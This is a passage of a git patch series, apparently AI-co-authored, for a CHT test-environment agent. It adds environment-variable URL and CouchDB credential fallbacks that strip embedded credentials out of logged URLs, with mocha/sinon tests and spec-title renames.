+  stripped) and stripped of any embedded basic-auth creds (which survive only as
+  an auth fallback, `decodeUserinfo`-decoded, tolerating a raw `%`).
+- **`COUCHDB_USER` / `COUCHDB_PASSWORD`** — the instance-auth seam, the same one
+  `scripts/test-env-up.sh` uses for the bring-up, so a non-default password needs
+  no code change. Auth precedence: `options.auth` → URL-embedded creds →
+  `COUCHDB_*` env → the default `medic`/`password`.
+- **`ProvisionOptions.url` / `ProvisionOptions.auth`** — the highest-precedence
+  target + creds the handle carries; every downstream call reads
+  `handle.url`/`handle.auth`.
 - **`useMockDocker`** (constructor) — mock mode is the default; `false` selects
   the real paths. This is what keeps CI Docker-free.
-- **`scripts/test-env-up.sh <cht-core>`** — the human-gated bring-up seam
-  (`COUCHDB_USER`/`COUCHDB_PASSWORD` are the compose creds seam it already uses).
-
-> **Scope note on `provision` env resolution.** `provision()` is kept at its
-> Phase-1 shape (already on the branch). The workbench lineage later grew
-> `provision` an env-driven resolver (`CHT_URL` fallback, `COUCHDB_USER/PASSWORD`
-> auth, embedded-cred stripping, `decodeUserinfo`); that evolution is **not** in
-> this PR because `provision` is not in this PR's port scope (only
-> `discoverConfig`/`prepareTestData`/`reset('couchdb')` were ported). Callers set
-> the target via `ProvisionOptions.url`/`auth` today. Porting the `provision`
-> env-seam resolver is a clean, self-contained follow-up if wanted.
+- **`scripts/test-env-up.sh <cht-core>`** — the human-gated bring-up seam.
 
 ## 5. Standalone guarantee + independent demo recipe
 
@@ -150,15 +149,15 @@ Diffed against the workbench port source
   `AUTONOMOUS_FLAGS`, `minimalEnv`, `resolveChtConfBin`, `buildChtConfArgs`,
   `classifyChtConfOutput`, `runChtConf`, `runBucket`) is identical.
 - **`src/agents/test-environment-agent.ts`** — every ported method
-  (`applyConfig`, `discoverConfig`, `prepareTestData`, `reset`,
-  `resetCouchdbTier`, `teardown`) and every parse helper (`parseContactTypes`,
-  `parseRoles`, `parsePermissions`, `parseTransitions`, `parseDiscoveredConfig`,
-  `credentialedUrl`, `toApplyResult`, `describeRunFailure`, `runSucceeded`) is
-  identical to the workbench. Excised: `verifyArtifact`, `fetchDeployedFormXml`
-  and their imports. **One deliberate divergence:** `provision()` is kept at the
-  branch's Phase-1 shape rather than the workbench's later env-seam resolver (see
-  §4 scope note); its `decodeUserinfo` helper and `CHT_URL`/`COUCHDB_*` logic are
-  therefore not present.
+  (`provision`, `applyConfig`, `discoverConfig`, `prepareTestData`, `reset`,
+  `resetCouchdbTier`, `teardown`) and every helper (`decodeUserinfo`,
+  `credentialedUrl`, `toApplyResult`, `parseContactTypes`, `parseRoles`,
+  `parsePermissions`, `parseTransitions`, `parseDiscoveredConfig`,
+  `describeRunFailure`, `runSucceeded`) is identical to the workbench —
+  `provision()`'s env-seam resolver (CHT_URL fallback, embedded-cred stripping,
+  `COUCHDB_*` auth) is now at full parity. The **only** divergence is the excised
+  `verifyArtifact` / `fetchDeployedFormXml` methods and their imports
+  (`fetchFormXml`, `verifyFormBinds`, `VerifyArtifact*`, `mockVerifyArtifactResult`).
 - **Types / mock fixtures** — the layer type set + mock fixtures match the
   workbench minus the `VerifyArtifact*`/`Qa*`/`XlsformBindDiff`/offline-convert
   members.
@@ -190,6 +189,7 @@ extraction is an available follow-up if the PR's SonarCloud run flags it.
 - `feat(#66): phase 3 — discoverConfig + cht-api, prepareTestData + test-data, couchdb-tier reset`
 - `test(#66): layer spec suite ported (agent real paths, cht-api, test-data)`
 - `docs(#66): handoff status, PR description, deferred cht-conf-extension map`
+- `feat(#66): provision env-seam parity — CHT_URL fallback, cred stripping, COUCHDB_* auth seam`
 
 (Phases 1–2 groundwork — provision/readiness/scripts/apply shape — is the branch's
 pre-existing history, replayed unchanged by the rebase.)
diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index 05ff7844..bca6b447 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -63,6 +63,19 @@ const DEFAULT_CONFIG_ACTIONS: ConfigUploadAction[] = [
 // CouchDB id prefix of installed form docs (form:pregnancy -> pregnancy).
 const FORM_DOC_PREFIX = 'form:';
 
+/**
+ * Decode a URL userinfo component. Userinfo SHOULD be percent-encoded, but a
+ * raw '%' in a hand-typed CHT_URL password must not crash provision with an
+ * opaque URIError — fall back to the literal value.
+ */
+const decodeUserinfo = (value: string): string => {
+  try {
+    return decodeURIComponent(value);
+  } catch {
+    return value;
+  }
+};
+
 /**
  * Build the cht-conf instance URL with embedded credentials
  * (https://user:pass@host). Only the runner sees this; logs use handle.url.
@@ -230,8 +243,27 @@ export class TestEnvironmentAgent {
     console.log(`[Test Environment Agent] Source: ${source}`);
 
     if (!this.useMockDocker) {
-      const url = options.url ?? DEFAULT_ENV_URL;
-      const auth = options.auth ?? DEFAULT_AUTH;
+      // Fallback order: explicit option, then the CHT_URL env override the
+      // operator's compose/scripts export, then the on-network default. The
+      // resolved URL is canonicalized (no trailing slash) — paths are appended
+      // to it everywhere, and it keys the seeded-doc tracking map.
+      const envUrl = process.env.CHT_URL?.trim() || undefined;
+      const resolved = new URL(options.url ?? envUrl ?? DEFAULT_ENV_URL);
+      // Strip any embedded basic-auth creds: handle.url is logged everywhere,
+      // and undici's fetch() rejects credentialed URLs outright. They survive
+      // only as an auth fallback.
+      const embeddedAuth = resolved.username
+        ? { user: decodeUserinfo(resolved.username), password: decodeUserinfo(resolved.password) }
+        : undefined;
+      resolved.username = '';
+      resolved.password = '';
+      const url = resolved.toString().replace(/\/+$/, '');
+      // COUCHDB_USER/COUCHDB_PASSWORD is the same seam scripts/test-env-up.sh
+      // uses for the bring-up, so a non-default password needs no code change.
+      const envAuth = process.env.COUCHDB_PASSWORD
+        ? { user: process.env.COUCHDB_USER ?? DEFAULT_AUTH.user, password: process.env.COUCHDB_PASSWORD }
+        : undefined;
+      const auth = options.auth ?? embeddedAuth ?? envAuth ?? DEFAULT_AUTH;
 
       // The agent runs no Docker — the human brings the environment up.
       const target = options.chtCorePath ?? '<cht-core>';
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 770bb0c0..46aa01b3 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -85,13 +85,27 @@ describe('TestEnvironmentAgent', () => {
 
     describe('real mode (useMockDocker: false)', () => {
       let fetchStub: sinon.SinonStub;
+      // Provision reads these; isolate every test from the workbench env.
+      const PROVISION_ENV_KEYS = ['CHT_URL', 'COUCHDB_USER', 'COUCHDB_PASSWORD'];
+      const priorProvisionEnv: Record<string, string | undefined> = {};
 
       beforeEach(() => {
         fetchStub = sinon.stub(globalThis, 'fetch' as any);
+        for (const key of PROVISION_ENV_KEYS) {
+          priorProvisionEnv[key] = process.env[key];
+          delete process.env[key];
+        }
       });
 
       afterEach(() => {
         sinon.restore();
+        for (const key of PROVISION_ENV_KEYS) {
+          if (priorProvisionEnv[key] === undefined) {
+            delete process.env[key];
+          } else {
+            process.env[key] = priorProvisionEnv[key];
+          }
+        }
       });
 
       it('returns a docker handle once the environment is healthy', async () => {
@@ -132,6 +146,101 @@ describe('TestEnvironmentAgent', () => {
           expect((error as Error).message).to.include('requires either chtCorePath or version');
         }
       });
+
+      describe('CHT_URL fallback', () => {
+        // Env save/clear/restore is handled by the enclosing describe.
+
+        it('falls back to process.env.CHT_URL when no url option is given', async () => {
+          fetchStub.resolves({ ok: true, status: 200 });
+          process.env.CHT_URL = 'https://cht.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ version: '4.18.0' });
+
+          expect(handle.url).to.equal('https://cht.example');
+          expect(fetchStub.firstCall.args[0]).to.equal('https://cht.example/api/v2/monitoring');
+        });
+
+        it('prefers an explicit url option over CHT_URL', async () => {
+          fetchStub.resolves({ ok: true, status: 200 });
+          process.env.CHT_URL = 'https://cht.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ version: '4.18.0', url: 'https://explicit.example' });
+
+          expect(handle.url).to.equal('https://explicit.example');
+        });
+
+        it('ignores a blank CHT_URL and uses the on-network default', async () => {
+          fetchStub.resolves({ ok: true, status: 200 });
+          process.env.CHT_URL = '   ';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ version: '4.18.0' });
+
+          expect(handle.url).to.equal('https://nginx');
+        });
+
+        it('canonicalizes a trailing slash so appended paths and tracking keys stay stable', async () => {
+          fetchStub.resolves({ ok: true, status: 200 });
+          process.env.CHT_URL = 'https://cht.example/';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ version: '4.18.0' });
+
+          expect(handle.url).to.equal('https://cht.example');
+          expect(fetchStub.firstCall.args[0]).to.equal('https://cht.example/api/v2/monitoring');
+        });
+
+        it('strips embedded credentials out of the URL (logged + fetch()ed) into the auth fallback', async () => {
+          fetchStub.resolves({ ok: true, status: 200 });
+          // undici's fetch() rejects credentialed URLs, and handle.url is logged.
+          process.env.CHT_URL = 'https://ops:p%40ss@cht.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ version: '4.18.0' });
+
+          expect(handle.url).to.equal('https://cht.example');
+          expect(handle.auth).to.deep.equal({ user: 'ops', password: 'p@ss' });
+          expect(fetchStub.firstCall.args[0]).to.equal('https://cht.example/api/v2/monitoring');
+        });
+
+        it('tolerates a raw % in embedded credentials instead of crashing provision', async () => {
+          fetchStub.resolves({ ok: true, status: 200 });
+          process.env.CHT_URL = 'https://ops:p%ss@cht.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ version: '4.18.0' });
+
+          expect(handle.auth).to.deep.equal({ user: 'ops', password: 'p%ss' });
+          expect(handle.url).to.equal('https://cht.example');
+        });
+
+        it('honors the COUCHDB_USER/COUCHDB_PASSWORD env seam (test-env-up.sh parity)', async () => {
+          fetchStub.resolves({ ok: true, status: 200 });
+          process.env.COUCHDB_USER = 'admin';
+          process.env.COUCHDB_PASSWORD = 'not-the-default';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ version: '4.18.0' });
+
+          expect(handle.auth).to.deep.equal({ user: 'admin', password: 'not-the-default' });
+        });
+
+        it('prefers explicit auth over URL-embedded and env credentials', async () => {
+          fetchStub.resolves({ ok: true, status: 200 });
+          process.env.CHT_URL = 'https://ops:urlpass@cht.example';
+          process.env.COUCHDB_PASSWORD = 'envpass';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({
+            version: '4.18.0',
+            auth: { user: 'explicit', password: 'explicitpass' },
+          });
+
+          expect(handle.auth).to.deep.equal({ user: 'explicit', password: 'explicitpass' });
+        });
+      });
     });
   });
 

From 8b92f7a75aaefb3a832106e47184b7293bb26f73 Mon Sep 17 00:00:00 2001
From: CHT Agent <agent@cht-agent.local>
Date: Sat, 18 Jul 2026 02:51:37 +0000
Subject: [PATCH 12/24] =?UTF-8?q?chore(#66):=20review=20hygiene=20?=
 =?UTF-8?q?=E2=80=94=20dead=20doc=20refs,=20stale=20roadmap=20note,=20shou?=
 =?UTF-8?q?ld-style=20agent=20spec=20titles?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Pre-push code-review cleanup. Comment / spec-title changes only — zero behavior
change (build clean, 1112 tests unchanged, lint clean, excision grep still empty).

- Drop See:-block refs to files that exist in no repo (designs/cht-conf-agent-
  extension.md §7.2) and the transient handoff citation, from the cht-conf-runner
  and cht-api headers and the ConfigUploadAction docblock — keep the durable
  designs/layer_recommendations/test-environment-layer.md reference.
- Agent header: replace the stale "LangGraph node + CLI" roadmap line with
  "The pipeline wiring that invokes this layer lands with #64."
- Compress the provision cred-stripping narration to two lines.
- Spec comment: "workbench env" -> "ambient env".
- docker/cht-agent-net.override.yml: drop the non-ascii warning glyph.
- Agent spec: rename the real-mode it() titles to should-style so the file is
  uniformly should-style (matching the repo's other agent specs / CHT convention);
  the four utils specs stay imperative per the repo's utils convention.
- Agent spec: hoist the shared discoverConfig / reset realAgent into a
  let + beforeEach, matching the couchdb-reset suite's pattern.

The workbench parity source receives these identical edits operator-side, so the
per-function parity claim in PR_66_DESCRIPTION.md §8 stays true (left unreworded).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
 PR_66_DESCRIPTION.md                       |   1 +
 docker/cht-agent-net.override.yml          |   2 +-
 src/agents/test-environment-agent.ts       |   7 +-
 src/types/index.ts                         |   4 +-
 src/utils/cht-api.ts                       |   2 +-
 src/utils/cht-conf-runner.ts               |   4 +-
 test/agents/test-environment-agent.spec.ts | 103 +++++++++++----------
 7 files changed, 63 insertions(+), 60 deletions(-)

diff --git a/PR_66_DESCRIPTION.md b/PR_66_DESCRIPTION.md
index bc934782..7b67cbd8 100644
--- a/PR_66_DESCRIPTION.md
+++ b/PR_66_DESCRIPTION.md
@@ -190,6 +190,7 @@ extraction is an available follow-up if the PR's SonarCloud run flags it.
 - `test(#66): layer spec suite ported (agent real paths, cht-api, test-data)`
 - `docs(#66): handoff status, PR description, deferred cht-conf-extension map`
 - `feat(#66): provision env-seam parity — CHT_URL fallback, cred stripping, COUCHDB_* auth seam`
+- `chore(#66): review hygiene — dead doc refs, stale roadmap note, should-style agent spec titles`
 
 (Phases 1–2 groundwork — provision/readiness/scripts/apply shape — is the branch's
 pre-existing history, replayed unchanged by the rebase.)
diff --git a/docker/cht-agent-net.override.yml b/docker/cht-agent-net.override.yml
index 1e6c9dc3..d8c70aa4 100644
--- a/docker/cht-agent-net.override.yml
+++ b/docker/cht-agent-net.override.yml
@@ -9,7 +9,7 @@
 # HUMAN-run only (the cht-agent never runs Docker):
 #   docker compose -f cht-couchdb.yml -f cht-core.yml -f cht-agent-net.override.yml up -d
 #
-# ⚠️ VALIDATE before relying on this: the service name (`nginx`) and the stack's
+# VALIDATE before relying on this: the service name (`nginx`) and the stack's
 # internal network name (`cht-net` below) must match what `npm run local-images`
 # generates in `local-build/` for your cht-core version. Confirm with:
 #   docker compose ... config            # see resolved service/network names
diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index bca6b447..60c32d61 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -9,7 +9,7 @@
  * fetch), prepareTestData (cht-conf csv-to-docs/upload-docs/create-users),
  * and the couchdb-tier reset (tracked-doc wipe + reseed over the CouchDB HTTP
  * API — the one reset the agent does itself; restart/full stay human-gated).
- * The LangGraph node + CLI land in a later #66 phase.
+ * The pipeline wiring that invokes this layer lands with #64.
  *
  * See: designs/layer_recommendations/test-environment-layer.md
  */
@@ -249,9 +249,8 @@ export class TestEnvironmentAgent {
       // to it everywhere, and it keys the seeded-doc tracking map.
       const envUrl = process.env.CHT_URL?.trim() || undefined;
       const resolved = new URL(options.url ?? envUrl ?? DEFAULT_ENV_URL);
-      // Strip any embedded basic-auth creds: handle.url is logged everywhere,
-      // and undici's fetch() rejects credentialed URLs outright. They survive
-      // only as an auth fallback.
+      // Strip embedded creds from the logged/fetched URL — undici rejects credentialed URLs;
+      // they survive only as an auth fallback.
       const embeddedAuth = resolved.username
         ? { user: decodeUserinfo(resolved.username), password: decodeUserinfo(resolved.password) }
         : undefined;
diff --git a/src/types/index.ts b/src/types/index.ts
index beb8512d..51da6b8d 100644
--- a/src/types/index.ts
+++ b/src/types/index.ts
@@ -783,8 +783,8 @@ export interface DiscoveredConfig {
 }
 
 /**
- * A bucket of cht-conf upload work, mapping to the underlying cht-conf verbs
- * (see designs/cht-conf-agent-extension.md §7.2 step 4). The agent drives these
+ * A bucket of cht-conf upload work, mapping to the underlying cht-conf verbs.
+ * The agent drives these
  * over HTTP against the instance; it never edits the config itself.
  * - `app-settings`      compile-app-settings + upload-app-settings
  * - `app-settings-only` upload-app-settings (NO compile) — for a deployment-
diff --git a/src/utils/cht-api.ts b/src/utils/cht-api.ts
index c530427e..c302295b 100644
--- a/src/utils/cht-api.ts
+++ b/src/utils/cht-api.ts
@@ -10,7 +10,7 @@
  * never in a URL, a log line, or an error message.
  *
  * See: designs/layer_recommendations/test-environment-layer.md (Config
- *      Discovery + reset tiers), docs/handoffs/66-phase2-applyconfig-implementation.md §5
+ *      Discovery + reset tiers)
  */
 
 import { EnvironmentHandle } from '../types';
diff --git a/src/utils/cht-conf-runner.ts b/src/utils/cht-conf-runner.ts
index 1fd09c49..5c268087 100644
--- a/src/utils/cht-conf-runner.ts
+++ b/src/utils/cht-conf-runner.ts
@@ -13,9 +13,7 @@
  * uploaded/skipped/failed. The test-data verbs (csv-to-docs, upload-docs,
  * create-users) drive runChtConf directly.
  *
- * See: designs/layer_recommendations/test-environment-layer.md,
- *      designs/cht-conf-agent-extension.md §7.2,
- *      docs/handoffs/66-phase2-applyconfig-implementation.md
+ * See: designs/layer_recommendations/test-environment-layer.md
  */
 
 import { spawn } from 'node:child_process';
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 46aa01b3..1331599a 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -85,7 +85,7 @@ describe('TestEnvironmentAgent', () => {
 
     describe('real mode (useMockDocker: false)', () => {
       let fetchStub: sinon.SinonStub;
-      // Provision reads these; isolate every test from the workbench env.
+      // Provision reads these; isolate every test from the ambient env.
       const PROVISION_ENV_KEYS = ['CHT_URL', 'COUCHDB_USER', 'COUCHDB_PASSWORD'];
       const priorProvisionEnv: Record<string, string | undefined> = {};
 
@@ -108,7 +108,7 @@ describe('TestEnvironmentAgent', () => {
         }
       });
 
-      it('returns a docker handle once the environment is healthy', async () => {
+      it('should return a docker handle once the environment is healthy', async () => {
         fetchStub.resolves({ ok: true, status: 200 });
         const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
@@ -121,7 +121,7 @@ describe('TestEnvironmentAgent', () => {
         expect(handle.chtCorePath).to.equal('/workspace/cht-core');
       });
 
-      it('rejects if the environment never becomes ready', async () => {
+      it('should reject if the environment never becomes ready', async () => {
         fetchStub.resolves({ ok: false, status: 503 });
         const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
@@ -136,7 +136,7 @@ describe('TestEnvironmentAgent', () => {
         }
       });
 
-      it('validates input before polling', async () => {
+      it('should validate input before polling', async () => {
         const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
         try {
@@ -150,7 +150,7 @@ describe('TestEnvironmentAgent', () => {
       describe('CHT_URL fallback', () => {
         // Env save/clear/restore is handled by the enclosing describe.
 
-        it('falls back to process.env.CHT_URL when no url option is given', async () => {
+        it('should fall back to process.env.CHT_URL when no url option is given', async () => {
           fetchStub.resolves({ ok: true, status: 200 });
           process.env.CHT_URL = 'https://cht.example';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
@@ -161,7 +161,7 @@ describe('TestEnvironmentAgent', () => {
           expect(fetchStub.firstCall.args[0]).to.equal('https://cht.example/api/v2/monitoring');
         });
 
-        it('prefers an explicit url option over CHT_URL', async () => {
+        it('should prefer an explicit url option over CHT_URL', async () => {
           fetchStub.resolves({ ok: true, status: 200 });
           process.env.CHT_URL = 'https://cht.example';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
@@ -171,7 +171,7 @@ describe('TestEnvironmentAgent', () => {
           expect(handle.url).to.equal('https://explicit.example');
         });
 
-        it('ignores a blank CHT_URL and uses the on-network default', async () => {
+        it('should ignore a blank CHT_URL and use the on-network default', async () => {
           fetchStub.resolves({ ok: true, status: 200 });
           process.env.CHT_URL = '   ';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
@@ -181,7 +181,7 @@ describe('TestEnvironmentAgent', () => {
           expect(handle.url).to.equal('https://nginx');
         });
 
-        it('canonicalizes a trailing slash so appended paths and tracking keys stay stable', async () => {
+        it('should canonicalize a trailing slash so appended paths and tracking keys stay stable', async () => {
           fetchStub.resolves({ ok: true, status: 200 });
           process.env.CHT_URL = 'https://cht.example/';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
@@ -192,7 +192,7 @@ describe('TestEnvironmentAgent', () => {
           expect(fetchStub.firstCall.args[0]).to.equal('https://cht.example/api/v2/monitoring');
         });
 
-        it('strips embedded credentials out of the URL (logged + fetch()ed) into the auth fallback', async () => {
+        it('should strip embedded credentials out of the URL (logged + fetch()ed) into the auth fallback', async () => {
           fetchStub.resolves({ ok: true, status: 200 });
           // undici's fetch() rejects credentialed URLs, and handle.url is logged.
           process.env.CHT_URL = 'https://ops:p%40ss@cht.example';
@@ -205,7 +205,7 @@ describe('TestEnvironmentAgent', () => {
           expect(fetchStub.firstCall.args[0]).to.equal('https://cht.example/api/v2/monitoring');
         });
 
-        it('tolerates a raw % in embedded credentials instead of crashing provision', async () => {
+        it('should tolerate a raw % in embedded credentials instead of crashing provision', async () => {
           fetchStub.resolves({ ok: true, status: 200 });
           process.env.CHT_URL = 'https://ops:p%ss@cht.example';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
@@ -216,7 +216,7 @@ describe('TestEnvironmentAgent', () => {
           expect(handle.url).to.equal('https://cht.example');
         });
 
-        it('honors the COUCHDB_USER/COUCHDB_PASSWORD env seam (test-env-up.sh parity)', async () => {
+        it('should honor the COUCHDB_USER/COUCHDB_PASSWORD env seam (test-env-up.sh parity)', async () => {
           fetchStub.resolves({ ok: true, status: 200 });
           process.env.COUCHDB_USER = 'admin';
           process.env.COUCHDB_PASSWORD = 'not-the-default';
@@ -227,7 +227,7 @@ describe('TestEnvironmentAgent', () => {
           expect(handle.auth).to.deep.equal({ user: 'admin', password: 'not-the-default' });
         });
 
-        it('prefers explicit auth over URL-embedded and env credentials', async () => {
+        it('should prefer explicit auth over URL-embedded and env credentials', async () => {
           fetchStub.resolves({ ok: true, status: 200 });
           process.env.CHT_URL = 'https://ops:urlpass@cht.example';
           process.env.COUCHDB_PASSWORD = 'envpass';
@@ -364,7 +364,7 @@ describe('TestEnvironmentAgent', () => {
         sinon.restore();
       });
 
-      it('runs cht-conf per action against the instance and aggregates success', async () => {
+      it('should run cht-conf per action against the instance and aggregate success', async () => {
         const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
         const result = await realAgent.applyConfig(dockerHandle, { actions: ['app-settings', 'app-forms'] });
@@ -374,7 +374,7 @@ describe('TestEnvironmentAgent', () => {
         expect(result.actions.map((a) => a.action)).to.deep.equal(['app-settings', 'app-forms']);
       });
 
-      it('passes the credentialed instance URL and configPath to the runner', async () => {
+      it('should pass the credentialed instance URL and configPath to the runner', async () => {
         const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
         await realAgent.applyConfig(dockerHandle, { configPath: '/mnt/conf', actions: ['app-forms'] });
@@ -385,7 +385,7 @@ describe('TestEnvironmentAgent', () => {
         expect(passed.action).to.equal('app-forms');
       });
 
-      it('threads the targeted artifact through to the runner', async () => {
+      it('should thread the targeted artifact through to the runner', async () => {
         const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
         await realAgent.applyConfig(dockerHandle, { actions: ['app-forms'], artifact: 'pregnancy' });
@@ -393,7 +393,7 @@ describe('TestEnvironmentAgent', () => {
         expect(runBucketStub.firstCall.args[0].artifact).to.equal('pregnancy');
       });
 
-      it('reports succeeded:false when a bucket fails, without aborting the rest', async () => {
+      it('should report succeeded:false when a bucket fails, without aborting the rest', async () => {
         runBucketStub.restore();
         runBucketStub = sinon.stub(chtConfRunner, 'runBucket').callsFake((opts) => {
           const status = opts.action === 'app-forms' ? 'failed' : 'uploaded';
@@ -457,7 +457,7 @@ describe('TestEnvironmentAgent', () => {
     });
 
     describe('real mode (useMockDocker: false)', () => {
-      const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+      let realAgent: TestEnvironmentAgent;
       const dockerHandle: EnvironmentHandle = {
         url: 'https://nginx',
         auth: { user: 'medic', password: 'password' },
@@ -497,6 +497,7 @@ describe('TestEnvironmentAgent', () => {
       let formRevsStub: sinon.SinonStub;
 
       beforeEach(() => {
+        realAgent = new TestEnvironmentAgent({ useMockDocker: false });
         settingsStub = sinon.stub(chtApi, 'fetchSettings').resolves(rawSettings);
         formRevsStub = sinon.stub(chtApi, 'fetchFormRevs').resolves(rawFormRevs);
       });
@@ -505,14 +506,14 @@ describe('TestEnvironmentAgent', () => {
         sinon.restore();
       });
 
-      it('fetches settings and form revs with the handle url and auth', async () => {
+      it('should fetch settings and form revs with the handle url and auth', async () => {
         await realAgent.discoverConfig(dockerHandle);
 
         expect(settingsStub.calledOnceWith('https://nginx', dockerHandle.auth)).to.equal(true);
         expect(formRevsStub.calledOnceWith('https://nginx', dockerHandle.auth)).to.equal(true);
       });
 
-      it('parses contact types, keeping only id/parents/person and dropping junk entries', async () => {
+      it('should parse contact types, keeping only id/parents/person and dropping junk entries', async () => {
         const config = await realAgent.discoverConfig(dockerHandle);
 
         expect(config.contactTypes).to.deep.equal([
@@ -521,14 +522,14 @@ describe('TestEnvironmentAgent', () => {
         ]);
       });
 
-      it('parses roles and permissions, dropping malformed entries', async () => {
+      it('should parse roles and permissions, dropping malformed entries', async () => {
         const config = await realAgent.discoverConfig(dockerHandle);
 
         expect(config.roles).to.deep.equal({ chw: { name: 'CHW', offline: true } });
         expect(config.permissions).to.deep.equal({ can_edit: ['chw', 'supervisor'] });
       });
 
-      it('normalizes transitions to booleans or {disable} objects', async () => {
+      it('should normalize transitions to booleans or {disable} objects', async () => {
         const config = await realAgent.discoverConfig(dockerHandle);
 
         expect(config.transitions).to.deep.equal({
@@ -537,14 +538,14 @@ describe('TestEnvironmentAgent', () => {
         });
       });
 
-      it('lists installed forms with their revs as the verification hashes', async () => {
+      it('should list installed forms with their revs as the verification hashes', async () => {
         const config = await realAgent.discoverConfig(dockerHandle);
 
         expect(config.forms).to.deep.equal(['delivery', 'pregnancy']);
         expect(config.formVersions).to.deep.equal({ delivery: '1-def', pregnancy: '3-abc' });
       });
 
-      it('propagates a settings fetch failure', async () => {
+      it('should propagate a settings fetch failure', async () => {
         settingsStub.rejects(new Error('CHT request failed: GET /api/v1/settings -> HTTP 503'));
 
         try {
@@ -555,7 +556,7 @@ describe('TestEnvironmentAgent', () => {
         }
       });
 
-      it('keeps contactTypes empty but warns when the instance defines none (built-in default hierarchy)', async () => {
+      it('should keep contactTypes empty but warn when the instance defines none (built-in default hierarchy)', async () => {
         settingsStub.resolves({ roles: {} });
         const warnSpy = sinon.spy(console, 'warn');
 
@@ -652,7 +653,7 @@ describe('TestEnvironmentAgent', () => {
         sinon.restore();
       });
 
-      it('requires a dataPath', async () => {
+      it('should require a dataPath', async () => {
         try {
           await realAgent.prepareTestData(dockerHandle, sampleConfig, {});
           expect.fail('expected prepareTestData to reject');
@@ -661,7 +662,7 @@ describe('TestEnvironmentAgent', () => {
         }
       });
 
-      it('clears a previous run\'s stale json_docs before converting', async () => {
+      it('should clear a previous run\'s stale json_docs before converting', async () => {
         cleanSeededDocsStub.returns(3);
 
         await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
@@ -670,7 +671,7 @@ describe('TestEnvironmentAgent', () => {
         expect(cleanSeededDocsStub.calledBefore(runChtConfStub)).to.equal(true);
       });
 
-      it('runs csv-to-docs + upload-docs, then create-users, via the runner', async () => {
+      it('should run csv-to-docs + upload-docs, then create-users, via the runner', async () => {
         await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
 
         expect(runChtConfStub.callCount).to.equal(2);
@@ -684,7 +685,7 @@ describe('TestEnvironmentAgent', () => {
         expect(usersCall.configPath).to.equal(dataPath);
       });
 
-      it('classifies the seeded docs against the discovered config', async () => {
+      it('should classify the seeded docs against the discovered config', async () => {
         const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
 
         expect(readSeededDocsStub.calledOnceWith(dataPath)).to.equal(true);
@@ -696,7 +697,7 @@ describe('TestEnvironmentAgent', () => {
         expect(result.warnings).to.deep.equal([]);
       });
 
-      it('counts created users from the create-users output', async () => {
+      it('should count created users from the create-users output', async () => {
         runChtConfStub.onCall(1).resolves(okRun([ansiInfo('Creating user alice'), ansiInfo('Creating user bob')].join('\n')));
 
         const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
@@ -704,7 +705,7 @@ describe('TestEnvironmentAgent', () => {
         expect(result.usersCreated).to.equal(2);
       });
 
-      it('skips create-users when the data project has no users.csv', async () => {
+      it('should skip create-users when the data project has no users.csv', async () => {
         hasUsersCsvStub.returns(false);
 
         const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
@@ -714,7 +715,7 @@ describe('TestEnvironmentAgent', () => {
         expect(result.succeeded).to.equal(true);
       });
 
-      it('warns on a partial upload without failing the seed', async () => {
+      it('should warn on a partial upload without failing the seed', async () => {
         runChtConfStub.onCall(0).resolves(okRun(ansiInfo('Summary: 3 of 5 docs uploaded OK.')));
 
         const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
@@ -723,7 +724,7 @@ describe('TestEnvironmentAgent', () => {
         expect(result.warnings.join(' ')).to.include('only 3 of 5 docs uploaded');
       });
 
-      it('warns when nothing was uploaded (no csv inputs)', async () => {
+      it('should warn when nothing was uploaded (no csv inputs)', async () => {
         runChtConfStub.onCall(0).resolves(okRun(ansiInfo('No csv directory found at /mnt/test-data/csv.')));
         readSeededDocsStub.returns([]);
         hasUsersCsvStub.returns(false);
@@ -734,7 +735,7 @@ describe('TestEnvironmentAgent', () => {
